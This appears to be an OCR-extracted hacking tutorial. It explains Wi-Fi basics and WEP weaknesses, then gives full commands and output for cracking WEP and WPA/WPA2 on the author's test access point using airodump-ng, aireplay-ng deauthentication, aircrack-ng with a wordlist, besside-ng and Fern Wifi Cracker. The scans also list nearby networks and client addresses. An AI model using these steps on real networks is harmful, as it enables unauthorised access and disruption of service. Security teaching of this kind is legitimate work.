Service Set Identifier (SSID) : A Service Set Identifier (SSID) is the name of the Wireless network. Normally, it is broadcast in the clear by Wireless Access Points in beacon packets to announce the presence of a Wi -Fi network. The SSIDs can be up to 32 octets (32 bytes) long. For Example, SSID in our first wireless hacking article is Hack_Me_If_You_Can.

Extended Service Set Identifier (ESSID) : An Extended Service Set Identifier (ESSID) is a wireless network created by multiple access points. This is useful in providing wireless coverag -e in a large building or area in which a single Access Point (AP) is not enough. However, this app -ears as a single seamless network to users. The name is same as SSID.

Basic Service Set Identifier (BSSSID) : Previously our readers learnt that every hardwar -e device in computing is hardcoded with a MAC Address. A BSSID is the MAC address of the Access Point.

Channels : Readers have learnt that Wi- Fi operates in the frequency range of 2.5GHz and 5GHz. These frequency bands are divided into smaller frequency bands which are known as chan -nels. Usually, these channels are of width 20MHz. The 2.5 GHz range is divided into 14 channels each spaced 5Mhz apart to avoid interference and disturbance. Similarly, The 5GHz band is divided into 24 channels.

Channel	F ₀ (MHz)	Frequency Range (MHz)	North America ^[8]	Japan ^[8]	Most of world [8][9][10][11] [12][13][14][15]	
1	2412	2401-2423	Yes	Yes	Yes	
2	2417	2406-2428	Yes	Yes	Yes	
3	2422	2411-2433	Yes	Yes	Yes	
4	2427	2416-2438	Yes	Yes	Yes	
5	2432	2421-2443	Yes	Yes	Yes	
6	2437	2426-2448	Yes	Yes	Yes	
7	2442	2431-2453	Yes	Yes	Yes	(Image
8	2447	2436-2458	Yes	Yes	Yes	Wikipedia
9	2452	2441-2463	Yes	Yes	Yes	
10	2457	2446-2468	Yes	Yes	Yes	
11	2462	2451-2473	Yes	Yes	Yes	
12	2467	2456-2478	No ^B except CAN	Yes	Yes	
13	2472	2461-2483	No ^B	Yes	Yes	
14	2484	2473-2495	No	11b only ^C	No	

In our First wireless hacking attack, the channel of our Access Point is 1.

Beacons : Beacons are one of the management frames in IEEE 802.11 based WLANs. A Beacon Frame contains all the information about the network and is transmitted periodically to announce the presence of a wireless LAN and to synchronize the members of the WLAN.

Signal Strength : Wi-Fi signal strength refers to the strength of the Wi-Fi network connection. The correct way to express Wi-Fi signal strength is mW but it is also very complex. So for simplic -ity, the signal strength is expressed in as dBm, which stands for decibels relative to a milliwatt.

dBm works in negatives. For example, change the values here. -34 is a higher signal than -64 or -94 because -80 is a much lower number.

Data : Data needs no explanation.

Encryption : Encryption refers to the Wi fi Encryption protocol used for security. There are three types of wireless encryption protocols at present. Wired Equivalent Privacy (WEP), Wi-Fi Protected Access (WPA), and Wi-Fi Protected Access Version 2 (WPA2). More about them soon.

Authentication : The authentication method used by wireless clients to authenticate with wire -less access point. More about it soon too.

Cipher : Ciphers are standard security ciphers are part of Wi-FI security to enhance the security of wireless networks. Example WPA can use either CCMP or TKIP ciphers.

Wardriving : Wardriving is the act of searching for wireless networks while moving on a vehicl -e using a wi fi enabled device like laptop or a smartphone. The term War driving originated from the term wardialing, the method which was popularized by a character played by Matthew Broderick in the film WarGames. There are other variants of Wardriving like Warbiking, Warcycling, Warwalking which are similar to wardriving but use other modes of transportation.

Wi -Fi Security

Wired Equivalent Privacy : Wired Equivalent Privacy (WEP) is the first security algorithm for IEEE 802.11 wireless networks that was introduced as part of the original 802.11 standard ratified in 1997. As its name implies, the intention was to provide data confidentiality equivalent to that of a traditional wired network.

WEP was the only encryption protocol available to 802.11a and 802.11b devices as these were built before the WPA standard was released.

WEP was ratified as a Wi-Fi security standard in 1999. The first versions of WEP used only 64bit encryption as U.S.A restricted export of cryptographic technology.

WEP uses the Rivest Cipher 4 (RC4) for confidentiality and the Cyclic Redundancy Check (CRC) 32 checksum for integrity. RC4 is a stream cipher known for simplicity and speed.

Standard 64-bit WEP uses a 40 bit key which is concatenated with a 24-bit initialization vector (IV, remember something) to form the RC4 key. A 64-bit WEP key usually has a string of 10 hexadecimal (base 16) characters (0–9 and A–F). See Image below.

In 2005, a group from the US's FBI cracked a WEP protected network in three minutes using publicly available tools.

[22:14:57] - Attacking [Hack Me If You Can] WEP - FLOOD cracking - 30068]		
[Laran for a find on the stand of the stand	[Vs rat	
<pre>[22:14:57] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 30069]</pre>	[Vs rat	
<pre>[22:14:57] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 30069]</pre>	[Vs rat	
<pre>[22:14:57] - Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 30070]</pre>	[Vs rat	
<pre>[22:14:57] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 30070]</pre>	[Vs rat	
<pre>[22:14:57] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 30071]</pre>	[Vs rat	
<pre>[22:14:57] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 30071]</pre>	[Vs rat	
<pre>[22:14:57] - Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 30072]</pre>	[Vs rat	
<pre>[22:14:57] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 30072]</pre>	IVs rat	
[22:14:5/] / Attacking [Hack_Me_IT_You_Can] WEP - FLOOD cracking - 300/3]	lvs rat	
[22:14:57] - Attacking [Hack_Me_IT_You_Can] WEP - FLOOD cracking - 300/3]	LVs rat	
[22:14:57] \ Attacking [Hack_Me_IT_You_Can] WEP - FLOOD cracking - 30074]	LVs rat	
[22:14:57] Attacking [Hack_Me_IT_You_Can] WEP - FLOOD cracking - 30074]	LVS rat	
[22:14:57] / Attacking [mack me if fou can] wer - FLOOD cracking - 30075]	vs rat	
[22:14:57] Buned network Hack Me If You Can in (1:45 minsteed		
[22.14.57] FWHED HELWOLK HACK HE IT FOU Call IN 0.45 HILLS.SEC		
[22.14.57] All neighbors owned		
[22.14.37] Att heighbors owned		
lying		
[22:14:57] TO-OWN [] OWNED []		
<pre>[22:07:46] - Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	95 IVs	rat
<pre>[22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	95 IVs	rat
<pre>[22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	95 IVs	rat
<pre>[22:07:46] - Attacking [Hack_Me_If_You_Can] WEP - FL00D cracking - 250</pre>	95 IVs	rat
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FL00D cracking - 250</pre>	96 IVs	rat
<pre>[22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	96 IVs	rat
<pre>[22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	97 IVs	rat
<pre>[22:07:46] - Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	97 IVs	rat
<pre>[22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	97 IVs	rat
<pre>[22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FL00D cracking - 250</pre>	98 IVs	rat
[22:07:46] - Attacking [Hack Me If You Can] WEP - ELOOD cracking - 250	98 IVs	rat
[22107140] According [nack ne_11_104_can] net record cracking 250	98 TVS	rat
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	50 IV3	
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	98 IVs	rat
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250</pre>	98 IVs 98 IVs	rat rat
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] Got key for Hack_Me_If_You_Can [ab:cd:12:34:56] 25099 IVs</pre>	98 IVs 98 IVs	rat rat
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] Got key for Hack_Me_If_You_Can [ab:cd:12:34:56] 25099 IVs [22:07:46] Pwned network Hack_Me_If_You_Can in 1:03 mins:sec</pre>	98 IVs 98 IVs	rat rat
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 2509 [22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 2509 [22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 2509 [22:07:46] Got key for Hack_Me_If_You_Can [ab:cd:12:34:56] 25099 IVs [22:07:46] Pwned network Hack_Me_If_You_Can in 1:03 mins:sec [22:07:46] T0-OWN [] OWNED []</pre>	98 IVs 98 IVs	rat rat
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 250 [22:07:46] Got key for Hack_Me_If_You_Can [ab:cd:12:34:56] 25099 IVs [22:07:46] Pwned network Hack_Me_If_You_Can in 1:03 mins:sec [22:07:46] T0-OWN [] OWNED [] [22:07:46] All neighbors owned</pre>	98 IVs 98 IVs	rat rat
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 2509 [22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 2509 [22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 2509 [22:07:46] Got key for Hack_Me_If_You_Can [ab:cd:12:34:56] 25099 IVs [22:07:46] Pwned network Hack_Me_If_You_Can in 1:03 mins:sec [22:07:46] T0-OWN [] OWNED [] [22:07:46] All neighbors owned</pre>	98 IVs 98 IVs	rat rat
<pre>[22:07:46] \ Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 2509 [22:07:46] Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 2509 [22:07:46] / Attacking [Hack_Me_If_You_Can] WEP - FLOOD cracking - 2509 [22:07:46] Got key for Hack_Me_If_You_Can [ab:cd:12:34:56] 25099 IVs [22:07:46] Pwned network Hack_Me_If_You_Can in 1:03 mins:sec [22:07:46] TO-OWN [] OWNED [] [22:07:46] All neighbors owned</pre>	98 IVs 98 IVs	rat rat

Each character in the key represents 4 bits. 10 digits of these 4 bits each give 40 bits. When we add 24-bit Initialization Vector to this 40 bits, complete 64-bit WEP key is produced.

Some devices also allow the user to enter the key as 5 ASCII characters (0–9, a–z, A–Z), each of which is turned into 8 bits using the character's byte value in ASCII. However, this restricts each byte to be a printable ASCII character, which is only a small fraction of possible byte values, greatly reducing the possible keys.

After USA lifted restrictions on export of cryptographic technology, 128bit WEP key came into

[22:44:06] - /	Attacking	[Hack Me	If You	Can]	WEP	-	FL00D	cracking	-	326084	IVs	ra
[22:44:06] \ /	Attacking	[Hack_Me	If You	Can]	WEP	-	FL00D	cracking	-	326084	IVs	ra
[22:44:06] /	Attacking	[Hack_Me	If You	Can]	WEP	-	FLOOD	cracking	-	326084	IVs	ra
[22:44:06] / /	Attacking	[Hack_Me	If You	Can]	WEP	-	FLOOD	cracking	-	326084	IVs	ra
[22:44:06] - /	Attacking	[Hack Me	If You	Can]	WEP	-	FLOOD	cracking	-	326084	IVs	ra
[22:44:06] /	Attacking	[Hack_Me	If You	Can]	WEP	-	FLOOD	cracking	-	326085	IVs	ra
[22:44:06] / /	Attacking	[Hack_Me	If You	[Can]	WEP	-	FLOOD	cracking	-	326086	IVs	ra
[22:44:06] - /	Attacking	[Hack_Me	If You	Can]	WEP	-	FLOOD	cracking	-	326087	IVs	ra
[22:44:06] \ /	Attacking	[Hack_Me	If You	Can]	WEP	-	FL00D	cracking	-	326088	IVs	ra
[22:44:06] /	Attacking	[Hack_Me	If You	Can]	WEP	-	FL00D	cracking	-	326088	IVs	ra
[22:44:06] / /	Attacking	[Hack_Me	If You	Can]	WEP	-	FLOOD	cracking	-	326088	IVs	ra
[22:44:06] / /	Attacking	[Hack_Me	If You	Can]	WEP		FLOOD	cracking	-	326088	IVs	ra
[22:44:06] - /	Attacking	[Hack Me	If You	Can1	WEP	-	FL00D	cracking	-	326088	IVs	ra
[22:44:06] Got	t key for	Hack_Me_I	f_You	Can [:	37:43	3:7	9:40:2	20:31:58:	3a:	65:64:2	28:36	ō:2
7] 326088 IVs												
[22:44:06] Pwr	ned networ	k Hack Me	If Yo	u Can	in 1	4:	55 mir	is:sec				
[22:44:06] TO	-OWN [] OW	NED []										
[22:44:06] All	l neighbor	's owned										

Dying...

[22:44:06] TO-OWN [] OWNED []

Each digit is of 4 bits. 26 digits of these 4 bits each give 104 bits. When we add a 24-bit IV to this 104 bits produced the complete 128-bit WEP key. Most devices allowed the user to enter 13 ASCII characters as WEP key.

```
(kali@kali)-[~]
    cat <u>hex.txt</u>
37:43:79:40:20:31:58:3a:65:64:28:36:27
```

```
(kali@kali)-[~]
_$ cat hex.txt | xxd -r -p
7Cy@ 1X:ed(6'
```

```
2 ×
```

-(kali⊛kali)-[~]

Although some vendors made 152-bit and 256-bit WEP systems also available, 128 bit WEP was widely used.

Authentication System of WEP

WEP uses two methods of authentication.

1. Open System authentication 2. Shared Key authentication.

<u>1. Open System Authentication</u>

In Open System authentication, the WLAN client that wants to connect to a Access Point doesn't need any credentials during authentication. Simply put, no authentication occurs. Subsequently, WEP keys are used for encrypting data frames. At this point, the client needs to have correct WEP key.

2. Shared Key Authentication

In Shared key authentication, authentication takes place in a four-step challenge-response handsha -ke :

Step 1: The client sends an authentication request to the Access Point.

Step 2: The Access Point replies with a clear-text challenge.

Step 3: The client encrypts the challenge-text using the configured WEP key and sends it back in another authentication request.

Step 4: The Access Point decrypts the response. If this matches the challenge text, the Access Point sends back a positive reply.

After the authentication and association is successful, the pre-shared WEP key is also used for encr -ypting the data frames using RC4. Although Shared Key Authentication appears secure than Open System Authentication, it is actually vice versa.

Weak Security Of WEP

WEP uses RC4 which is a stream cipher. Hence the same traffic key cannot be used twice. It is due to this purpose that WEP uses Initialization Vectors (IVs). But the problem is WEP uses 24 bit IVs for both 64 bit and 128 bit key. This 24bit IV is not long enough to ensure non-repetition on a busy network. For a 24-bit IV, there is a 50% probability the same IV will repeat after 5,000 packet -s. So WEP key in a busy network can be easily cracked since it has lot of traffic.

Attackers can even create fake connections (just as we did using aireplay in previous Issue) to generate more traffic and then crack the WEP key. As we have seen in our previous Issue, the more IVs we captured the faster it is to crack WEP and it usually only minutes to crack the WEP key with besside-ng tool.

Cracking WPA / WPA2

Now, let's go directly to see how to crack WPA / WPA2. We will crack this WPA using three tools. First, we will see how to do this with aircrack. The Attacker system is always Kali Linux. After connecting the Alfa Wireless Wi-Fi adapter to system, I open a terminal and use iwconfig command to see if the wireless adapter is connected or not. It is connected.

The Payment Card Industry (PCI) Security Standards Council updated the Data Security Standard (DSS) to prohibit use of WEP as part of any credit-card processing after 30 June 2010 and prohibit any new system from being installed that uses WEP after 31 March 2009.

(kali®	kali)-[~]
lo	no wireless extensions.
eth0	no wireless extensions.
wlan0	IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:off
I start monito	r mode on the wireless interface.
<pre>(kali@ sudo a [sudo] pas</pre>	kali)-[~] airmon-ng start wlan0 ssword for kali:
Found 2 pr Kill them the card i and someti	rocesses that could cause trouble. using 'airmon-ng check kill' before putting in monitor mode, they will interfere by changing channels imes putting the interface back in managed mode
PID Name 466 Netw 1857 wpa_	e vorkManager _supplicant
PHY In	nterface Driver Chipset
phy1 wl 1 802.11n	ath9k_htc Qualcomm Atheros Communications AR927 (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]w
lan0mon)	(mac80211 station mode vif disabled for [phy1]wlan0)
(kali⊛	kali)-[~]
I once again t	use iwconfig command to see if monitor mode is started on the wireless interface.
<mark>(kali⊛</mark> \$ iwconf	kali)-[~] fig
lo	no wireless extensions.
eth0	no wireless extensions.
wlan0mon	IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:off

It started. To see all the traffic being observed by the wireless interface, I run the command airodump-ng on the wireless interface.

(kali@kali)-[~]
\$ sudo airodump-ng wlan0mon
[sudo] password for kali:

CH 5][Elapsed: 24 s][2021-08-13 06:25

BSSID	PWR	Beacons #	Data,	#/s	CH	MB	ENC	CIPHER	AUTH	ESSID
AC:37:28:58:5E:D9	-69	19	ŝ	0	11	130	WPA2	CCMP	PSK	Andey
64:66:B3:56:EF:7C	-63	32	Θ	Θ	1	65	WPA2	CCMP	PSK	Hack_Me_IT_You_Can
a transfer de la constante	-72	28	Θ	Θ	4	270	WPA2	CCMP	PSK	Satish
A REPORT OF A	-67	21	0	Θ	9	130	WPA2	CCMP	PSK	NS4 EVER
(1) X 25 35 36C	-67	Θ	0	0	1	-1				<length: 0=""></length:>
12 I & 7.842	-74	5	Θ	0	6	130	WPA2	CCMP	PSK	DIRECT-DTIN-B62WRN2msZR
A DE LA PROPERTY	-75	Θ	0	Θ	11	130	WPA2	CCMP	PSK	ASTROWORLD! :)
ALC: NO POPULA	-90	3	Θ	Θ	13	270	WPA2	CCMP	PSK	DSSSKS
BSSID	STAT	ION	PWR	Ra	ite	Los	t F	rames	Notes	Probes
(not associated)	CC:9	C:32:79:F9:C	-51	e) - 1		Θ	56		Zion
(not associated)	20:3	3:74:69:49:10	-65	C	- 1		Θ	1		
AC:37:28:58:5E:D9	DC B	7:2F:84:88:04	- 83	1	.e- 1		62	20		
AC:37:28:58:5E:D9	34:F	8:53:24:95: Ff	-82	1	.e- 1	e	Θ	2		
64:66:B3:56:EF:7C	20:5	4;18;03;59;Ef	81	O) - 1		Θ	1		
A3:9B:17:A6:86:99	SU:0	8:72:74:52:81	L -82	O) - 1	e 1	02	7		

As you can see, this shows all the wireless traffic. There are many wireless networks available but my target is the Wi-Fi Access point I named "Hack_Me_If_You_Can". I use the same airodumpng to target the MAC address of target's Access point and route all the traffic it has to a file named hc_wpa_crack.

<pre>(kali@kali)-</pre>	[~] p-ng <mark>bssid</mark> 64:0 for kali:	66:B3:56:EF:7C -c 1	write hc_wpa_crack wlan0mon
CH 1][Elapsed:	12 s][2021-08-13	06:29][fixed channel	wlan0mon: 13
BSSID	PWR RXQ Beacons	#Data, #/s CH MB	ENC CIPHER AUTH ESSID
64:66:B3:56:EF:7C	-15 0 8	0 0 1 65	WPA2 CCMP PSK Hack_Me_If_You_Can
BSSID	STATION	PWR Rate Lost	Frames Notes Probes
After some time w	a con soo a client a	onnecting to our Acc	ess Point
Alter some time, w	e can see a chefit c	onneeting to our Meet	C55 1 0111.
CH 1][Elapsed:	2 mins][2021-08-1	3 06:31][fixed chanr	nel wlan0mon: 2
CH 1][Elapsed: BSSID	2 mins][2021-08-1 PWR RXQ Beacons	3 06:31][fixed chanr #Data, #/s CH MB	ENC CIPHER AUTH ESSID
CH 1][Elapsed: BSSID 64:66:B3:56:EF:7C	2 mins][2021-08-1 PWR RXQ Beacons -14 2 85	3 06:31][fixed chann #Data, #/s CH MB 10 0 1 65	Nel wlan0mon: 2 ENC CIPHER AUTH ESSID WPA2 CCMP PSK Hack_Me_If_You_Can
CH 1][Elapsed: BSSID 64:66:B3:56:EF:7C BSSID	2 mins][2021-08-1 PWR RXQ Beacons -14 2 85 STATION	3 06:31][fixed chann #Data, #/s CH MB 10 0 1 65 PWR Rate Lost	Nel wlan0mon: 2 ENC CIPHER AUTH ESSID WPA2 CCMP PSK Hack_Me_If_You_Can Frames Notes Probes

For cracking WPA/WPA2, we don't need a lot of traffic. What we need is a WPA handshake. WPA Handshake is a process through which a wireless client connects to a Wireless Access Point. Since a client is already connected to our target Access Point, to get a WPA handshake, we need to de authenticate that client. This can be done using aireplay-ng command as shown below.

└──(kali⊛kali)-[~]
<pre>\$ sudo aireplay-ngdeauth 1000 -a 64:66:B3:56:EF:7C wlan0mon</pre>
06:36:59 Waiting for beacon frame (BSSID: 64:66:B3:56:EF:7C) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac="">).</client's>
06:37:00 Sending DeAuth (code 7) to broadcast BSSID: [64:66:B3:56:EF:7C]
06:37:01 Sending DeAuth (code 7) to broadcast BSSID: [64:66:B3:56:EF:7C]
06:37:01 Sending DeAuth (code 7) to broadcast BSSID: [64:66:B3:56:EF:7C]
06:37:02 Sending DeAuth (code 7) to broadcast BSSID: [64:66:B3:56:EF:7C]

As the client is de authenticated, it tries to connect again. Then, we successfully get a handshake as shown below.

CH 6][Elapsed:	14 min	s][2021-	08-13 0	6:39][W	PA han	dshake: 64:6	6:B3:	56:EF:7C
BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC CIPHER	AUTH	ESSID
<pre>M0 00 70 10 70 7 64:00:03:56:FF:7 A0.9D.17.A0.00.9 A4:59:F3:10:22:7 AC:37:28:58:5F:5 34.0A.33.F3.17.A C0:06:C3:1F:C5:F 34:0A:33:95:A4:E 74:0A:33:95:A4:E</pre>	- 1 - 60 - 72 - 76 - 78 - 78 - 90 - 92 - 90 - 63	0 687 208 17 189 22 67 10 262	0 189 72 0 47 0 6 0	0 0 0 0 0 0 0 0 0	1 9 6 11 13 9 4	-1 65 130 130 130 270 130 270 270	WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP WPA2 CCMP	PSK PSK PSK PSK PSK PSK PSK	<length: 0=""> Hack_Me_If_You_Can NS4 EVER Airtel-Hotspot-22C6 Andey DSSSKS TP-Link_C5FC SK Lensmagic Satish</length:>
Now, all we have to	o do is 1	run aircrao	ck on th	ie cap	oture	e file a	s shown belo	W.	
<pre>(kali@kali) \$ sudo aircrad Reading packets, Opening hc_wpa_c Read 72008 packet</pre>	[~] pleas rack-@ ets.	nc_wpa_cr se wait 01.cap	ack-01	cap	-W	<u>/usr</u> ,	/share/word	llist	<u>s/rockyou.txt</u>
# BSSID		ESSID)				Encrypti	on	
1 64:66:B3:5	6:EF:7	7C Hack_	Me_If_	You_	Can		WPA (1 h	nands	hake)
Choosing first r	network	k as targ	et.						
Reading packets, Opening hc_wpa_c Read 72008 packe 1 potential targ	pleas crack-0 ets. gets	se wait 01.cap	•						

		Aircra	ck-ng :	1.6						
[00:00:03] 3839/14344394 keys tested (1122.81 k/s)										
Time left: 3 hours	, 32 mi	nutes,	52 se	conds				0.03%		
	KEY	FOUND !	[snov	white]					
Master Key : 8 5	F AA 1A 0 C0 69	07 FE 85 95	0C EA F2 5B	AD 92 D7 24	47 / 46 7	A1 3E 73 06	0D FI 99 A	D A5 13 1 B1 EF		
Transient Key : F 1 1 3	F 5E 3F 0 0A D7 9 AD A0 4 73 CD	F5 0E E3 C4 F9 A3 5F B7	1C 67 92 BD 47 84 3D 0F	80 2C BC BE B0 99 0D 4D	8D [CF [1E] 5C /	D6 EA D9 41 7A 58 A1 15	4D 44 9C 51 5D 91 DD A0	4 61 BE F D3 30 D 2A A0 D 10 4A		
EAPOL HMAC : 4	E 20 39	B4 4C	87 CF	ED 80	E9 3	3F F2	35 51	8 18 89		

The Wi -Fi password is successfully cracked and the key is "snowwhite".

Just like cracking WEP, even Cracking WPA can be automated using tool besside-ng. To do this, we run besside-ng on the target wi-fi network.

-(**kali⊛kali**)-[**~**] -\$ sudo besside-ng -b 64:66:B3:56:EF:7C wlan0mon [06:57:25] Let's ride [06:57:25] Autodetecting supported channels... [06:57:34] - Scanning chan 03 Bad beacon [06:57:34] | Scanning chan 04 Bad beacon [06:57:34] / Scanning chan 05 Bad beacon [06:57:35] - Scanning chan 06 Bad beacon [06:57:35] \ Scanning chan 07 Bad beacon [06:57:36] | Scanning chan 08 Bad beacon [06:57:38] | Scanning chan 14 Bad beacon [06:57:38] / Scanning chan 14 Bad beacon [06:57:38] - Scanning chan 14 Bad beacon

[06:57:50] / Attacking [Hack_Me_If_You_Can] WPA - DEAUTH (know 1 clients) Bad beacon [06:57:50] - Attacking [Hack_Me_If_You_Can] WPA - DEAUTH (know 1 clients) Bad beacon [06:57:50] \ Attacking [Hack Me If You Can] WPA - DEAUTH (know 1 clients) Bad beacon [06:57:50] | Attacking [Hack Me If You Can] WPA - DEAUTH (know 1 clients) Bad beacon [06:57:50] / Attacking [Hack_Me_If_You_Can] WPA - DEAUTH (know 1 clients) Bad beacon [06:57:50] - Attacking [Hack_Me_If_You_Can] WPA - DEAUTH (know 1 clients) Bad beacon [06:57:51] \ Attacking [Hack_Me_If_You_Can] WPA - DEAUTH (know 1 clients) Bad beacon [06:57:51] | Attacking [Hack_Me_If_You_Can] WPA - DEAUTH (know 1 clients) Bad beacon [06:57:51] Got necessary WPA handshake info for Hack Me If You Can [06:57:51] Run aircrack on wpa.cap for WPA key [06:57:51] Pwned network Hack Me If You Can in 0:06 mins:sec [06:57:51] TO-OWN [] OWNED [] [06:57:51] All neighbors owned

Dying... [06:57:51] TO-OWN [] OWNED []

Besside-ng automatically captures WPA handshake. Then all we have to do is run aircrack on the wpa.cap file.

There is another tool to crack WEP / WPA / WPA2 that is totally GUI based. Fern Wifi Cracker. Fern Wifi Cracker is inbuilt in Kali Linux. It can be started by running command fern-wifi-cracker in terminal.



elect the wirele	ess interface.	
	ę	Fern WIFI Cracker 🛛 🗸
		wlan0 Refresh Monitor Mode Enabled on wlan0mon
		Scan for Access points
		Detection Status
	Fern WIFI Cracker 3.0	WIFE WPA Detection Status
	Currently installed version: Revision 94	
		Key Database No Key Entries
	Python Version: 3.9.2 default Aircrack Version: rcrack-ng 1.6 - (C) 2 Qt Version: 5.15.1	ToolBox
	About Fern WIFI Cracker	
	GUI suite for wireless encryption strength testing of 8	802.11 wireless encryption standard access points
	Written by Saviour Emmanuel Ekiko	Report Bugs at : savioboyz@rocketmail.com
	9 F	ern WIFI Cracker 🛛 🗸
		Monitor Mode Enabled on wlan0mon
		Scan for Access points
		Detection Status
	Fern WIFI Cracker 3.0	Detection Status
	Fern WIFI Cracker 3.0 Currently installed version: Revision 94	Detection Status
	Fern WIFI Cracker 3.0 Currently installed version: Revision 94	Image: WEP Detection Status Image: WEP Detection Status
	Python Version: 3.9.2 default Aircrack Version: rcrack-ng 1.6 - (C) 2. Qt Version: 5.15.1	<image/> <image/> <image/> <image/> <image/>
	Python Version: 3.9.2 default Aircrack Version: rcrack-ng 1.6 - (C) 2 Qt Version: 5.15.1	<image/> <image/> <image/> <image/> <image/> <image/> <image/>
	Python Version: 3.9.2 default Aircrack Version: rcrack-ng 1.6 - (C) 2 Qt Version: 5.15.1	<image/>

The tool will automatically scan for wireless networks (both WEP and WPA) and show their numbers.



Click on the WPA networks to see all the WPA networks.

			Attack Pa	anel			
1 0 0 # 1 0 0	1,1,0,	Select	Target Access Point	0			
(())	ത്ര	(എ)	(ത്ര)	(എ)	(())		0 0
Airtel-	Hotspot-22C6	Andey AST	TROWORLD! :)	DSSSKS	Hack Me If You	Can	WID Attack
(ඉ)	(e) (e	မာ) (မာ)		L .	1 0 0		Automate
NS4 EVER S	atish SK Ler	nsmagic TAH/	A				
P	1 0 1	<u>v 0</u>		-			
	. 0		-0		2 1 A		
Access Daint Details							
Piccess Point Details							
ESSID: Hack_Me_	If_You_Can B5	SID: 64:66:83:56:6	F7C Channel:	1 Power:	45 Encryption:	WWA Suppor	ts WPS
ESSID: Hack_Me_	If_You_Can BS	SID: 64.66.83:56.6	F7C Channel:	1 Power:	-15 Encryption:	WPA Suppor	ts WPS
ESSID: Hack_Me_	If_You_Can BS	SID: 64.66:83:56.6	E ^{7C} Channel:	2 Power:	-15 Encryption:	WRA Suppor	ts WPS
ESSID: Hack_Me_	If_You_Can BS	SID: 64.66:83:56:El	Channel:	2 Power:	-15 Encryption: WPS Attack	WPA Suppor	ts WPS
ESSID: Hack_Me_ Attack Option	If_You_Can BS	SID: 64,66:83:56:E	Channel:	2 Power:	-35 Encryption:	WRA Suppor	ts WPS
ESSID: Hack_Me_ Attack Option Probing Access Point Deauthentication Status	If_You_Can BS	SID: 64.66.83:56.6 Regular Attack	EXC Channel:	2 Power:	-35 Encryption: WPS Attack Current	WRM Suppor	ts WPS Browse
ESSID: Hack_Me_ Attack Option Probing Access Point Deauthentication Status Handshake Status	IF_You_Can BS	SID: 64.66:83:56:61 Regular Attack	E ^{2C} Channel:	3 Power:	WPS Attack	WRM Suppor	ts WPS Browse
ESSID: Hack_Me_ Attack Option Probing Access Point Deauthentication Status Handshake Status Bruteforcing Encryption	IF_You_Can BS	SID: 64.66:83:56:El Regular Attack	Etically probing and	Power:	WPS Attack Current	WRA Suppor	ts WPS Browse
ESSID: Hack Me Attack Option Probing Access Point Deauthentication Status Handshake Status Bruteforcing Encryption Finished	If You Can BS	SID: 64.66:B3:56.6	F7C Channel:	2 Power:	-25 Encryption: WPS Attack Current	WRA Suppor	ts WPS Browse

Select the Wi - Fi Access Point you want to target. Here our target is Hack_Me_If_You_Can.

			Attack Pa	inel		
		C Select	Target Access Point			
((())	(())	(())	(ത)	(ශ)	
Airt	el-Hotspot-22C6	5 Andey AS	TROWORLD! :)	DSSSKS	Hack_Me_If_You_0	an wiß Attack
(6)	(()	tes) tes) (a)			Automate
